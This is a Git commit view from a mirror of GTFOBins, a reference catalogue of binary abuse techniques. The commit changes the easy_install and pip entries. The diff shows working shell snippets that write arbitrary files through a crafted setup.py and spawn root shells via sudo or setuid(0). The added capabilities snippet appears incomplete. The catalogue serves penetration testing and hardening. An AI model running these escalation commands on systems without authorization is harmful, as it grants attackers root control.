public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-26 06:49:44 +01:00
Code Issues Projects Releases Wiki Activity

Use LFILE in easy_install and pip file-write function

Browse Source
This commit is contained in:
Emilio Pinna 2018-09-29 10:51:00 +01:00
parent f8dab26569
commit a156e10996
2 changed files with 9 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
_gtfobins/easy_install.md
View File

@ -51,9 +51,10 @@ functions:
file-write: file-write:
- description: The file path must be absolute. - description: The file path must be absolute.
code: | code: |
export LFILE=/tmp/file_to_save
TF=$(mktemp -d) TF=$(mktemp -d)
echo "import os; echo "import os;
os.execl('$(whereis python)', 'python', '-c', 'open(\"/tmp/file_to_write\",\"w+\").write(\"DATA\")')" > $TF/setup.py os.execl('$(whereis python)', 'python', '-c', 'open(\"$LFILE\",\"w+\").write(\"DATA\")')" > $TF/setup.py
easy_install $TF easy_install $TF
file-read: file-read:
- description: The read file content is wrapped within program messages. - description: The read file content is wrapped within program messages.

8
_gtfobins/pip.md
View File

@ -50,8 +50,9 @@ functions:
file-write: file-write:
- description: It needs an absolute local file path. - description: It needs an absolute local file path.
code: | code: |
export LFILE=/tmp/file_to_save
TF=$(mktemp -d) TF=$(mktemp -d)
echo 'open("/tmp/file_to_write","w+").write("DATA")' > $TF/setup.py echo "open('$LFILE','w+').write('DATA')" > $TF/setup.py
pip install $TF pip install $TF
file-read: file-read:
- description: The read file content is corrupted as wrapped within an exception error. - description: The read file content is corrupted as wrapped within an exception error.
@ -69,4 +70,9 @@ functions:
TF=$(mktemp -d) TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF sudo pip install $TF
capabilities-enabled:
- code: |
TF=$(mktemp -d)
echo "import os; os.setuid(0); os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
./easy_install
--- ---